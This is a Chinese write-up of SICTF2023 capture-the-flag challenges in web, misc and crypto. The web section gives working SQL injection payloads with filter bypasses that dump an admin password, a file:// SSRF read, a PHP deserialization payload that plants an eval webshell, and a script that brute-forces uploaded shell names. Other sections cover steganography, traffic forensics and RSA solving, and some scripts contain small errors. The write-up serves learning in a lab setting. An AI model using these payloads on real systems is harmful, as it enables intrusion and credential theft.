SICTF2023 wp

web

ezphp



用户名处存在sql注入

**看源码发现是post参数user和pass **
fuzz一下

过滤了union,select,空格,=

;没过滤尝试堆叠注入无果,updatexml没过滤,报错注入
user=1'/**/and/**/updatexml(1,concat(0x7e,database()),0)#&pass=1 //ctf_db
user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database())),0x7e)#&pass=1 //admin
user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database())),0x7e)#&pass=1 // Username,Password
user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(Username)from/**/admin)),0x7e)#&pass=1 //admin
user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(Password)from/**/admin)),0x7e)#&pass=1 // 0909876qwe222
登录:

post:url=1试试

url=file:///var/www/html/x9sd.php读取x9sd.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class text {
protected $cmd;
function __construct($tmp)
{
$this->cmd = $tmp;
}

}

if(isset($_GET['username']) && isset($_GET['unserx'])){
$var = base64_decode($_GET['unserx']);

if($_GET['username'] === "admin"){
echo "nonono?";
}
$username = urldecode($_GET['username']);
if($username === "admin"){
unserialize($var);
}
unserialize($var);
echo("success");
}else{
echo "I need some ???";
}

?>
PHP

反序列化$var

url编码admin赋值给username
/x9sd.php?username=%2561%2564%256d%2569%2561&unserx=TzoxOiJhIjoxOntzOjY6IgAqAGNtZCI7czoxNjoiZXZhbCgkX1BPU1RbMV0pOyI7fQ==

ezupload

可以上传php文件,但是要爆破文件名,文件名和时间戳有关

1
2
3
4
5
6
7
8
9
10
import requests
url = ''
for i in range(100000000, 200000000):
re = url + str(i) + ".php"
r = requests.post(q)
if r.status_code == 404:
a = 0
else:
print(re)

PHP

在本地搭一个环境,在本地和远程上传(尽量快)
跑出来文件名就可以连antsward了

misc

签到打卡完成

010打开附件找到key:SICTF,平台就是青少年的,公众号直接搜(非预期)


预期解:

用ps改一下亮度

原图

QRresearch 扫

[http://weixin.qq.com/r/dS-v9yPE436crWeU93pn](http://weixin.qq.com/r/dS-v9yPE436crWeU93pn)

color


非预期:

stegsolve打开图片查看颜色通道,发现二维码,扫描


微信QR有纠错,扫描有几率扫出来
预期解:

颜色修复工具:https://github.com/Byxs20/FrequencyColor))

输入序号1-30


SICTF{448e8531-c752-4847-ae7e-0e702a8fb915}

geek_challenge

计算就完事了

1
2
3
4
5
6
7
8
9
import pwn
X = pwn.remote("",)
while True:
tmp = X.recvline()
print(tmp.decode())
if b"= ?" in tmp:
res = eval(tmp.decode()[:-5])
data = str(res).encode()
X.sendline(data)
PHP

王八树木

文件16进制逆序
树木使用工具还原 附地址https://github.com/AabyssZG/FileReverse-Tools
FileReverse-Tools.py -i 树木
得到jpg图片 分理出pass.txt bandzip 爆破得到123456

解7z得到SI!!!!!!
使用SilentEye

得到 2,1,2
猫脸变换还原flag.bmp a=3,b=1成功了 脚本可能有问题

SICTF{a9549c89-d261-4bd7-9643-60874dbd28b8}

EzMisc

伪加密WinRAR修复就行
得到
Xkey:MI43nQrRjQaFTALBTO4JmNJxjO4VcO4Vy
随波逐流

ohhhhh~解压7z

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from PIL import Image

from base64 import b64encode ,b64decode

from FLAG import FLAG

import cv2

OOO000O0000000OOO =''
OO00000O0O00OOOOO =''
O0OO0OO0O0O0OOOO0 =Image .open (OOO000O0000000OOO )
O000OOO0O0000OO00 =Image .open (OO00000O0O00OOOOO )
OOO0OO0O00OO0O00O =cv2 .imread ('')
OO00OOO0OOO000OO0 =OOO0OO0O00OO0O00O .shape [1]
O0OOO0OOO00OO00OO =OOO0OO0O00OO0O00O .shape [0]
O0000OOO0O00O00OO =Image .new ("RGB",(OO00OOO0OOO000OO0 ,O0OOO0OOO00OO00OO ))
OO00OOOO00O0OOO0O =O0OO0OO0O0O0OOOO0 .convert ('RGB')
O000OOO0O0OO0000O =O000OOO0O0000OO00 .convert ('RGB')
for OOO0O0OO000O0O000 in range (OO00OOO0OOO000OO0 ):
for OOOOO0000000O0OOO in range (O0OOO0OOO00OO00OO ):
OO0OO00O0O0000O0O ,OO000O0O00000O0O0 ,OOO0O00OO000O0O00 =OO00OOOO00O0OOO0O .getpixel ((OOO0O0OO000O0O000 ,OOOOO0000000O0OOO ))
OO00OOOO0OOO000OO ,O000OO0O0OO00O0O0 ,O00000OO0OO0O0OOO =O000OOO0O0OO0000O .getpixel ((OOO0O0OO000O0O000 ,OOOOO0000000O0OOO ))
OO0OO00O0O0000O0O =OO0OO00O0O0000O0O ^OO00OOOO0OOO000OO
OO00OOOO0OOO000OO =OO0OO00O0O0000O0O ^OO00OOOO0OOO000OO
OO0OO00O0O0000O0O =OO0OO00O0O0000O0O ^OO00OOOO0OOO000OO
OO000O0O00000O0O0 =OO000O0O00000O0O0 ^O000OO0O0OO00O0O0
O000OO0O0OO00O0O0 =OO000O0O00000O0O0 ^O000OO0O0OO00O0O0
OO000O0O00000O0O0 =OO000O0O00000O0O0 ^O000OO0O0OO00O0O0
OO0OO00O0O0000O0O =OO0OO00O0O0000O0O ^OO000O0O00000O0O0
OO000O0O00000O0O0 =OO0OO00O0O0000O0O ^OO000O0O00000O0O0
OO0OO00O0O0000O0O =OO0OO00O0O0000O0O ^OO000O0O00000O0O0
OO000O0O00000O0O0 =OO000O0O00000O0O0 ^O00000OO0OO0O0OOO
O00000OO0OO0O0OOO =OO000O0O00000O0O0 ^O00000OO0OO0O0OOO
OO000O0O00000O0O0 =OO000O0O00000O0O0 ^O00000OO0OO0O0OOO
O0OOO0000OOOOO00O =OO0OO00O0O0000O0O ^OO00OOOO0OOO000OO
OO0O0OOOOO0O00OO0 =OO000O0O00000O0O0 ^O000OO0O0OO00O0O0
O00O00O00OO0O00O0 =OOO0O00OO000O0O00 ^O00000OO0OO0O0OOO
if (O0OOO0000OOOOO00O ==0 ):
O0OOO0000OOOOO00O =255
if (OO0O0OOOOO0O00OO0 ==0 ):
OO0O0OOOOO0O00OO0 =255
if (O00O00O00OO0O00O0 ==0 ):
O00O00O00OO0O00O0 =255
O0OOO0000OOOOO00O =str (b64encode (str (O0OOO0000OOOOO00O ).encode ()),'utf-8')
OO0O0OOOOO0O00OO0 =str (b64encode (str (OO0O0OOOOO0O00OO0 ).encode ()),'utf-8')
O00O00O00OO0O00O0 =str (b64encode (str (O00O00O00OO0O00O0 ).encode ()),'utf-8')
with open ('secret~.txt','a')as file0 :
print (O0OOO0000OOOOO00O [::-1 ],OO0O0OOOOO0O00OO0 [::-1 ],O00O00O00OO0O00O0 [::-1 ],file = file0 )


C

偷一下Byxs20✌的jio本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import cv2
import base64
import numpy as np

with open("secret~.txt") as f:
data = f.read().splitlines()[:-2]

img = []
for line in data:
bgr = [base64.b64decode(i[::-1]).decode() for i in line.split(" ")][::-1]
img.append(bgr)
img = np.array(img, np.uint8)

dic = {1: 268780, 2: 134390, 4: 67195, 5: 53756, 10: 26878, 20: 13439, 89: 3020, 151: 1780, 178: 1510, 302: 890, 356: 755, 445: 604, 604: 445, 755: 356, 890: 302, 1510: 178, 1780: 151, 3020: 89, 13439: 20, 26878: 10, 53756: 5, 67195: 4, 134390: 2}
for height, width in dic.items():
cv2.imwrite(f"./out/{height}_{width}.png", img.reshape(height, width, 3))

C

得到

一眼丁真小鸟游六花(我不是二次元
题目说的拼音就是这个了,oursercet解flag.评就行

**SICTF{3d04cd71-5b2d-4bce-abec-a6f2f95c3665}**

Hacker


一眼丁真要rabbit解密,那么就是要找key和密文了
tshark提取base64


得到key:Gui_1s_shumu

密文U2FsdGVkX19bEN3D8vFeG39VyYXPwle2mMQLh5T1HYiSI1XCx7rJhsDnp9qLpUQByITd05Uu05ZAv0o=

hacker2

题目说明 :树木不小心把重要的信息放在了自己的shell当中,或许对你的解密会有帮助
定位http流
冰蝎流量
flag格式:SICTF{shell名称_密钥_文本文件中存储的字符串}
随便翻,知道shell名字是she1l

在第一个流中找到了key7d7c23e87b47368b

在这个流中解出了关键信息字符串
uU7xO0V/KGySO6rdSlEw/dQXFklZWZn1EMhiAAoH7WNpJcvkV3JcvqHelZOOHVA0YKUdylNKNgf4+x+WrC/GkA==

c0rRect!!!
SICTF{she1l_7d7c23e87b47368b_c0rRect!!!}

Crypto

Ascii

稍微改下脚本,循环异或3,然后base解密

baby_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flag import flag
import libnum
from Crypto.Util.number import getPrime
m=libnum.s2n(flag)
n=getPrime(16)
for i in range(233):
n*=getPrime(16)
e=65537
c=pow(m,e,n)
print(c)
print(n)
'''
44457399775772165283580795763046604956432217865936749114390645714446263790235445725770165521476841968764175721036280702731933849090719866149354613431301887740671003826556620460836983488011711209908075106260857650574672356032244606425941095128801765463716482316101398637519304864271794460829068714740938719022156283319142938782439784724450045931039355442034325311037568791297455084676548879770834712506552233840348850684727096270392080049993135041218143811167688449496243036317450681348089315258831745988434134987055263393540923865029931594717328162951158311497514418799360413513590684301435386737514918075848373373755748782672860711406169316940293554209702288482064854840802876490202123903888235028119047988176327629542924415737212649237787748145773301112682790682933658516724691338727523894513267588035437093188599375494920656327919129240066252636130803666175859640361767805549884909317548802917210333235914904622641997249853362378711924024129399688535136879208010081166848163897114124726692078532337827810846421365846926064892472698603597461932481745017020417072013702099809833423003201003030492
157077292656328898849823499976497003976795705913326943955927601882559735301000546878663484930436631929909115065166613744548816622146802007640124796249330573411377703969505934904150600987843325674764620305047603408490558134670867673308099650843329640744997672015466571290660161290811275435569339606335117906571999000341133024698424364682800683662193063661214736762852739324479859236963365531207752799197178993887860855078852702337761399225640575281412171035871278933493943575572155382899938265639764715616686123949482372238288859715465115400317136714757882965887595246507450491169518000205087415380208167764110920711042584766805992237919576823121108078407699912757901788925718859790257450499775129521327827653298451904392241906547672843110356658889638496906522290674659574024024440113632175010053065452660076447040937842478007881589334096496073556056726805396937630799201696246079227214272205462258357482722478243481697053301054600954126539848778226175296162997813416634702496577009409960503948474494741296663849482119365434792563324547643352816519125305335959420429699475765642610737903235960423173
'''
PYTHON

一眼丁真,跟bugku的一题几乎一样:https://ctf.bugku.com/challenges/detail/id/214.html
n由多个质因子生成,用sage的euler_phi(n)函数求欧拉函数

求出phi就是普通解RSA了

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Unit.number import*
import gmpy2
n = 157077292656328898849823499976497003976795705913326943955927601882559735301000546878663484930436631929909115065166613744548816622146802007640124796249330573411377703969505934904150600987843325674764620305047603408490558134670867673308099650843329640744997672015466571290660161290811275435569339606335117906571999000341133024698424364682800683662193063661214736762852739324479859236963365531207752799197178993887860855078852702337761399225640575281412171035871278933493943575572155382899938265639764715616686123949482372238288859715465115400317136714757882965887595246507450491169518000205087415380208167764110920711042584766805992237919576823121108078407699912757901788925718859790257450499775129521327827653298451904392241906547672843110356658889638496906522290674659574024024440113632175010053065452660076447040937842478007881589334096496073556056726805396937630799201696246079227214272205462258357482722478243481697053301054600954126539848778226175296162997813416634702496577009409960503948474494741296663849482119365434792563324547643352816519125305335959420429699475765642610737903235960423173
c = 44457399775772165283580795763046604956432217865936749114390645714446263790235445725770165521476841968764175721036280702731933849090719866149354613431301887740671003826556620460836983488011711209908075106260857650574672356032244606425941095128801765463716482316101398637519304864271794460829068714740938719022156283319142938782439784724450045931039355442034325311037568791297455084676548879770834712506552233840348850684727096270392080049993135041218143811167688449496243036317450681348089315258831745988434134987055263393540923865029931594717328162951158311497514418799360413513590684301435386737514918075848373373755748782672860711406169316940293554209702288482064854840802876490202123903888235028119047988176327629542924415737212649237787748145773301112682790682933658516724691338727523894513267588035437093188599375494920656327919129240066252636130803666175859640361767805549884909317548802917210333235914904622641997249853362378711924024129399688535136879208010081166848163897114124726692078532337827810846421365846926064892472698603597461932481745017020417072013702099809833423003201003030492
e = 65537
phi = 156367601475974402995143336378908040952860477592140281716502923468101002113603962472338202519343293683021813608492616735571335781889806580494592433061437445590103680183939182694030477690083123849381638384615403358528373448247586608040831464913727117628732036460516169834885530364477189488436897498824548971447505421979260430779757085905057701828890183301766003676422858872328029117473240600494292339226314733362682083999649134377189961569453868222950898463303662344115641021534838224401932268491972483326181312907141447088889872329127098638446483836443651704520477509821707797504856532033842982959066448341585137132145274813016240735092150523868970094517671115496874544078013828715295441650530874907072326026489798290753786116282315362518192114644603753496977012739114909700085784320423720398538929947664466373783000579482811416733852154360821231242559299052271498254335229659178377535891895087327910350143351556120064417902643002970719306110925104438203052958221625710867669659366694336983490603020446389462306989147274444803125646343536640000000000000000000000000000000000000000000000000000000000

d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m)
#SICTF{13578a78-1bd1-483e-8c01-4d501c8b52bb}
PYTHON

PolyRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from flag import flag

while True:
k = getRandomNBitInteger(64)
p = k**5 + 9*k**4 - 20*k**3 + 17*k**5 - 144*k + 47527
q = k**6 - 8*k**3 + 30*k**3 - 149*k**2 - 14*k + 39293
if isPrime(p) and isPrime(q):
break

def encrypt(msg, n, e):
m = bytes_to_long(msg)
return pow(m, e, n)

n = p * q
e = 65537
c = encrypt(flag, n, e)
print(f'n = {n}')
print(f'c = {c}')

#n = 2931835714514227696649197851452018066969814603905505893064829694548691616628661422451386639398824072768907608195113790730392677411502544741840786734616614308622423513064577929715025601090611378413475093510051291
#c = 1162375069210804266034094584942794481470301602122091344590668656120128936761168164673823514232328715217241524062023457713973727518007443604233760475552174214966591823835585191443465256735930086309706593996639864
PYTHON

n=p*q,代进去相当于只有k一个未知量,解方程即可
sage的solve函数可以求解方程

1
2
3
4
5
6
7
8
n = 2931835714514227696649197851452018066969814603905505893064829694548691616628661422451386639398824072768907608195113790730392677411502544741840786734616614308622423513064577929715025601090611378413475093510051291
k = var('k')
p = k**5 + 9*k**4 - 20*k**3 + 17*k**5 - 144*k + 47527
q = k**6 - 8*k**3 + 30*k**3 - 149*k**2 - 14*k + 39293
a=n==p*q
k = solve(a, k)
print(k)
#k == 10453474106135055672
PYTHON


解出k带进去原来脚本就可以求p,q了

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
import gmpy2
n = 2931835714514227696649197851452018066969814603905505893064829694548691616628661422451386639398824072768907608195113790730392677411502544741840786734616614308622423513064577929715025601090611378413475093510051291
c = 1162375069210804266034094584942794481470301602122091344590668656120128936761168164673823514232328715217241524062023457713973727518007443604233760475552174214966591823835585191443465256735930086309706593996639864
e = 65537
k = 10453474106135055672
p = k**5 + 9*k**4 - 20*k**3 + 17*k**5 - 144*k + 47527
q = k**6 - 8*k**3 + 30*k**3 - 149*k**2 - 14*k + 39293
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

PYTHON

hashgame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from hashlib import md5
from flag import flag
for i in flag:
print(md5(str(md5(i.encode("utf-8")).hexdigest()).encode("utf-8")).hexdigest())
'''
999a215b1f8372bb0f1c84c467a1506b
02b0b94ee1fa195ae7959560893f7e3c
297e7ca127d2eef674c119331fe30dff
65c162f7c43612ba1bdf4d0f2912bbc0
ed8a4ab0c0967b14e3bf6b145e153ec9
d24412e1ab190533176a653cef11b185
815e6212def15fe76ed27cec7a393d59
38026ed22fc1a91d92b5d2ef93540f20
cd7fd1517e323f26c6f1b0b6b96e3b3d
a94837b18f8f43f29448b40a6e7386ba
dc0ae7e1387be9b795f5d6299e383759
815e6212def15fe76ed27cec7a393d59
38026ed22fc1a91d92b5d2ef93540f20
dc0ae7e1387be9b795f5d6299e383759
a3655d5c04849a174d341b13d5cf5468
28c8edde3d61a0411511d3b1866f0636
011ecee7d295c066ae68d4396215c3d0
d7afde3e7059cd0a0fe09eec4b0008cd
39abe4bca904bca5a11121955a2996bf
a3655d5c04849a174d341b13d5cf5468
011ecee7d295c066ae68d4396215c3d0
28c8edde3d61a0411511d3b1866f0636
38026ed22fc1a91d92b5d2ef93540f20
dc0ae7e1387be9b795f5d6299e383759
a3655d5c04849a174d341b13d5cf5468
4c0d13d3ad6cc317017872e51d01b238
83be264eb452fcf0a1c322f2c7cbf987
4e44f1ac85cd60e3caa56bfd4afb675e
815e6212def15fe76ed27cec7a393d59
a3655d5c04849a174d341b13d5cf5468
28c8edde3d61a0411511d3b1866f0636
4e44f1ac85cd60e3caa56bfd4afb675e
ed108f6919ebadc8e809f8b86ef40b05
a94837b18f8f43f29448b40a6e7386ba
dcfcd07e645d245babe887e5e2daa016
665f644e43731ff9db3d341da5c827e1
83be264eb452fcf0a1c322f2c7cbf987
39abe4bca904bca5a11121955a2996bf
39abe4bca904bca5a11121955a2996bf
4c0d13d3ad6cc317017872e51d01b238
dc0ae7e1387be9b795f5d6299e383759
011ecee7d295c066ae68d4396215c3d0
5eccf232f5ebb3e780543372692fff18
'''
PYTHON

对flag先MD5加密为32位一个字符串,然后再对这个字符串的每一个字符MD5,改一下脚本爆破一下就可以了

1
2
3
4
5
6
7
8
9
10
11
12
from hashlib import md5
a=''
enc=['999a215b1f8372bb0f1c84c467a1506b', '02b0b94ee1fa195ae7959560893f7e3c', '297e7ca127d2eef674c119331fe30dff', '65c162f7c43612ba1bdf4d0f2912bbc0', 'ed8a4ab0c0967b14e3bf6b145e153ec9', 'd24412e1ab190533176a653cef11b185', '815e6212def15fe76ed27cec7a393d59', '38026ed22fc1a91d92b5d2ef93540f20', 'cd7fd1517e323f26c6f1b0b6b96e3b3d', 'a94837b18f8f43f29448b40a6e7386ba', 'dc0ae7e1387be9b795f5d6299e383759', '815e6212def15fe76ed27cec7a393d59', '38026ed22fc1a91d92b5d2ef93540f20', 'dc0ae7e1387be9b795f5d6299e383759', 'a3655d5c04849a174d341b13d5cf5468', '28c8edde3d61a0411511d3b1866f0636', '011ecee7d295c066ae68d4396215c3d0', 'd7afde3e7059cd0a0fe09eec4b0008cd', '39abe4bca904bca5a11121955a2996bf', 'a3655d5c04849a174d341b13d5cf5468', '011ecee7d295c066ae68d4396215c3d0', '28c8edde3d61a0411511d3b1866f0636', '38026ed22fc1a91d92b5d2ef93540f20', 'dc0ae7e1387be9b795f5d6299e383759', 'a3655d5c04849a174d341b13d5cf5468', '4c0d13d3ad6cc317017872e51d01b238', '83be264eb452fcf0a1c322f2c7cbf987', '4e44f1ac85cd60e3caa56bfd4afb675e', '815e6212def15fe76ed27cec7a393d59', 'a3655d5c04849a174d341b13d5cf5468', '28c8edde3d61a0411511d3b1866f0636', '4e44f1ac85cd60e3caa56bfd4afb675e', 'ed108f6919ebadc8e809f8b86ef40b05', 'a94837b18f8f43f29448b40a6e7386ba', 'dcfcd07e645d245babe887e5e2daa016', '665f644e43731ff9db3d341da5c827e1', '83be264eb452fcf0a1c322f2c7cbf987', '39abe4bca904bca5a11121955a2996bf', '39abe4bca904bca5a11121955a2996bf', '4c0d13d3ad6cc317017872e51d01b238', 'dc0ae7e1387be9b795f5d6299e383759', '011ecee7d295c066ae68d4396215c3d0', '5eccf232f5ebb3e780543372692fff18']

dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_}{'
for i in range(43):
for k in dic:
des=md5(str(md5(k.encode("utf-8")).hexdigest()).encode("utf-8")).hexdigest()
if des==enc[i]:
a=a+k
print(a)
#SICTF{837eb83b-14ad-413b-9f58-15ce02fdd9b4}
PYTHON

RRRSSSAAA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import *
import gmpy2
import libnum
from secret import flag,hint,alpha

def gen_num(x):
while True:
x+=1
if isPrime(x):
break
return x

p = getPrime(512)
q = gen_num(p*alpha)
r = gen_num(q*alpha*2)
s = gen_num(r*alpha*4)
n = p**alpha * q**(alpha*2) * r**(alpha*4) * s**2
e = getPrime(2048)
c = pow(libnum.s2n(flag), e, n)

print('n =', n)
print('c =', c)
print('e =', e)
n = 510598540378970007468346322989879190780475356832709189528874695730531468123747091318830966440138615736420891392158097533731041150162690662471483619765171875053776526546923686545162088172326434280369545887080098691661618888498451216122577703462656147845476260802989936275927468143618457014875124540773380472942489037761179303561650189545290190421786318533073909424735517884608967725919128200358535113829753453601297612782921831305721998858231417374167746154206561475003022801732102170674160043866579234096945753255309604584663823273990392197858273029361669185072049422597132579136784027822968387907216366150999438414498332890674564920800382005582891491049365978733797356415518435343495821039314228388769356638637099572998812062355774848959446125701462950655806332002764535951282449862140062574418031213788534096501985200284615865248974807525604893147298611402252296159828500266098282909607218395957805357667923653409828275804406466185333491486073920384298557332939701611488655278812282652143513835104674009767479927241052662403578967182673338296967573503287747778401579267126898937724971226916836862238412923209155792382534204896050548824028658237640251964366961727999178646613907934616655737902329568420682808750546571786374023614255135110482419627491157502417864563832543812083026753673687664854910877686333766643694031564516722983669199704788291656757271915091399977189663329054202997146978631991467923388119989473941572476162990901960011968892272676827771256008656450296183884491251752111424531449198118292179798490440493223653950102915889401116251591885909790869073018774674246846164536910633015902964911907187085243240032540938841961345835517368130042501382327926289017383981908729734129193302049155793436988510517701765733605569135643208447952662352778482137713239592896997102366230279153456455232519301534222340901671138239539845240151878610363390683459663471954623868659324304077587611084188341121303918876492043578883059738615210439439368338460631574255417822627815523601923537626576677004085017875860928802762176477815284840936951142176532768517728636562256240668409525184886142801802825451465440993457022771077957094228957592122319682216294509338262739872163482972508991702525289361105971574659126127296233247905505496525683817711366704746617027744889413904684867577081667137187623825349410229389484199608739864221035985277681307389939848405790294473878622092200837753161101695539947514614727699952200114544362051873938505591469240465379091377837297561323297393518152524513948294475770774872596601345526469590486037386767964812631618224527233850818909346007449756779707319609915127618828551910681421647307180399632857248867655836894968134457622987954781685664833951774981383914013420724637676787907498490619865488706542422141338754933476190313653530739822029700217857534243473680585150263523947891501341441371965435851479670882202992955935279933652356336270251591324623898094984119190752775236005057405257945038031382867511822173122001309505728526596893926445291712035117553637589190292816001770554129840326832888707541999454791653742647879694585329112697382151447923691770809327807665376014114552626285289291808032845544905356380497227622738746307685611140483875177839511922977657045680353723672792411661489242162646272105649970359134277499907207906149573299990033858943215801954126448693460102775418225293255402758159431943811872373682053160944887775375465971432320964554947377318554518275854303099420999992690990916801757184853847474379621177976926681977371922191722085164910430032177320954341986984523594583172470609743970245810969858512632597943721628165724329447516823159387734220282510185959768239630017162115072758419177056571781075148374822721899683720488356041096248563880547752710289151512607087038310649235610688255059182467964379544134070766646863815775576049106337955345150055151813028534690066771104188418296440067303355417210829440978858599306487361626723932883675404705319649877631289465547597225908934420304867048341698308940436377375588905463549199568800788130324653074398891097223958392703515180958466771395566567923630440881986781120062769327993137151783189811570714391264155060840731029466593405853721833971303821804104382800673631786729744779165371433211267361024896576031556979771007693215198547296582235167582106419779580693225211695215406540025468141235241168387527901851774993867055740692835931115312659500713701652905802357951993290979099170159167009106534001226859533836082801229997337966972579186548771169099646656172882424089451273021293821026173210665095782802709874946641962115525841325300318524665386511421662860490620819561338110623774842340380068922415609137358448899126553279894950604871889208579886778999174405582160576479554324208876082033912031737086248121899303730781498156597249803927142235444644481388064486155431912003641095674949903404176810866307571531389637794147871012904134653569388493652441432759092336752228939764110397029831387803943394811558386122839568158928461007578259968765727092577006588264867960486472014493774664081407186721351852883527145790575242285664659303948842228766554243966691396492391152581830022133814454196259968655735361775914705332258892954614272244452518449260489348504449204461418971768011384340273291232094176572232837038670467853897665877851434992557429017504229337778470080893449423405491607587635438331476572996201482633587271479001915768182336813417460145272910780420062773057289352127058606048428315185624554551172152106354445240590380140756355226376829443068190672329776832112173322011137862590548721676059398379694994522794474774534579546109677615257696703950497332824299576069196330271666459758430542051969093680846765661685489556479825015505460585577388300005030240514448617715276600874290664416888184557142542207029827016362686924883704397874129412267949416733492080843315519912943048041880665442664534980370689081266908497051077237188221752059058912835617635691061804481035908317765279937217591432632832678806430381325340000898958680468694182993189208039459712391492410123386884340504648296815916980264240229859574883155040793388439699245314010536014311134726579595932201351264754211113984594974123575279085420654342347792446273359397655783349850267895960713020361459104930811498666622216299579774939159380045958811891996366190154624989040001455252320159516822116133341010157165599727635333348456688307169980804760876207246783116588952529877373514768545007418968307885769960168050996962066803264260375707466369627458024513973771207018864983698407016663019106354023164759250846073414341438963394719456500998324900154652118420207057668806120330181700845296117532235012372135050553397046174401449323031309344766628888675704109715329046692002106076405553528413866402862565543443907259825033515101841485790388106868972724754988229771779715569516295419556055234476868558577442887306482605945053829666543946452255290321024138948999088611233226734197091325915223296133751626031378197131875533631358612215053149934608672729194446883476706267066475008836864936670808320239466055935088929279252129128009704233352664523535820092988950793050907265677092793104426094212209504897403359406325045852228354350509453013015487815230129380079713113632363881496974185547766115624580099624722897692297760495094913178120692467666707678647081180656345151015995338390986674404981831649353833607305738823436744297628382797810952028446046016233612873716789383675779820186248250486000672269630344269347652027789034023080859790238772676504723029078903218723114249502157501775936110552413022658586833869562215506206204712447588632398550497708640229614956652263449460598992811393334042395804931240940416629178335447861485028284981615219874331354750385150254017244750993573994159458909546341067039268159319391512934162794663414200907868505060542602841564239761181077333990423542820064315891665379550720216448942932714180923613869070005330476506812100063599659432570925437054287120906048730323556681557905787470647037629769660028387819741611799183349496549168370221978146678987457271259655273299546276899538032070218474555442304430064164467753804089753466882786069297036926063093020795423414152340563079346797084488827259011515774643776620378827875819192074121522712821147817374988804339999134520633699074448564057555026364304855373068414955699295158212425760345481057281658337956841137897162198027254556350868502178340964817530029135654659162400076087528650997151875596189190736466304722028587441680622878918057024286243448077104494316372739218635221411755498456912672491099154558604384574583302548226057069534004474532514444674565766058970748694657151540644416463532338966570743112669782840065402131461088637463019996192189423665651801811614499041923273110971446683450048861113332787126098622974613883291506736280588039145040361795192519576202306796277888696719887642051327259799873478040156450250036778305950744573270786882726162630115640020293415918210448873867037875790399234972055537649774407094382744621251926131880807765203843946682834221238903263352845265134368550124026502981782369374484091775137498831749984649699756860976525160646445060537001
c = 2531158826968617795544873459382924122557717998816471394185297761103165748335435821170312723425685754304593149059523546269415450028650433532186356690459152658716429727754058801940418375009330303011015596430823315562597921339142657700112773216179353217193003237231148578980083913537858412584394500321778663550078078453618131369772835451092134304931989160942358095112708247915404212408853664235381251636247376324342533649868102473113101371215832092655082602327789828382399225857288407727650695390198437041349338942170124451717727569429058059588332470520442654660036009106297229315947988026824070192958413771405369270417379270374431961932069206109206161520275394313505820463761099423216881808146286391590926110021195867454364700541623522262060621284175358641983644868144565468138995121112460328796239716467234302639110139539344210308625672626603127571066630984045144311082417597696435510923920160972112096181019887945632185522235223506525708287260043860468761726771872558899346408414769503761014563423778852669138635859686736852316406111419524586006203324427627048026773761720661277548633577985130942663878925016690093178475160050819045078580634083929746843262635482326801110839969924987635836386629346989957215883775774862958649233978388845660025913638761677759389478930243175239144733327800081152106209646739750122765156649897077908081118880599237097094240320843249439338789419717672024431563955989561679955135760168859754158570903936619008811737888041492853293708549071333614052392698390018837802159322555013199352827516627221502851043569094458259655754906871531251591905933391694174493730825567195976485916248779265827481232289167916191548009886470910634735729201594988224309556499928363028987684291355841520596773445265794499135026810820222595295206645909316879282568462640527161761336207089714210305413980656649518317233579495730882264811653783056739697123832993914282956316935519409352921107116007868383349191994002287186205998134696100386762054262057891768468786968255026912722629101160706454573938685005484616730774402270883183325251777860779625859829090813927434522134365158361824928730873827901168296078746018918344509563816411673470062449671148722717674082839769629562023279635600513605851782831113983938142406630208611193063599814306303344613185985279795876519917380771554104595610828559695878074283480553322353836635432708773608850059909435810716468942357296479338578819421891891959647886209729247762842636033387431426010813333937594266650860631139180525296627796175810882194615442847761610000432145760487922052374242763332387295369993152198033202624153104947403143814279239462857601612132203629474017698018994085303667937584557701797878307101597082913667622138958584805818954479376057019679762943228267237100029084049211972043335019283364883979473059818862037441686523242665853884190089710816217358073932367532488077849492403898235834953184819709099054102070829511615662438913527365049181160101163690392858601150452643149865201154869315798502945639885118982102077895852780917443315624354403062434191571381066128703765958601876808547067024079094217150684363727144272182360826649036462742933102369819995521845637171626900497976498238392129484286412119612469940203720459850431096939078909200111431982285224250094114135528169372511046050654842626310521349840419751960661583167285393164658375774214549256210125054659399787458607692664124104731751083802404214750877059517571814617571683386778158124529865839217550206948397973633633073112494203675707170908663807528465558978786856502376373466421935394014382018331853464036050628777920846842726837718397350152833374981600385583486356539412244819102957852851165019463262398920863740100811442245168631231964405451494470056643091283534051860169876712819583370418265773056658924789127762710102710663573299813673539807885889938471311859366898477359290470413140290514575457009196690112041120140525643523206329579083316113200224627966316138842199724222690712682985892217470965362769614635547269026219812733897111261075383966167708046377511241188419623018587723406672856471692955160712914173515537952904830020470028551166620520468624475155714768433859130011140607597675998829593787004574303181606799476891530311112525366486536986358680723494535244504502650149584967144769150225348964265765284894910282340776210894316178924413411986644104067084003701561730705682115028545399419902494745777464725361851299567731379203610610049793665414200817338926034541185452038336680083154233924375742103312110316794352091588504369888260969300762959109322581972765324018300345033980285705973687064519760917079983861031630712314692796666991263822758751739628291094635519478127541534349117058339248015359908612537405184430686951007915246176312262266828024919204702478462469277624426587415347311499361901911347416695812684136854575869383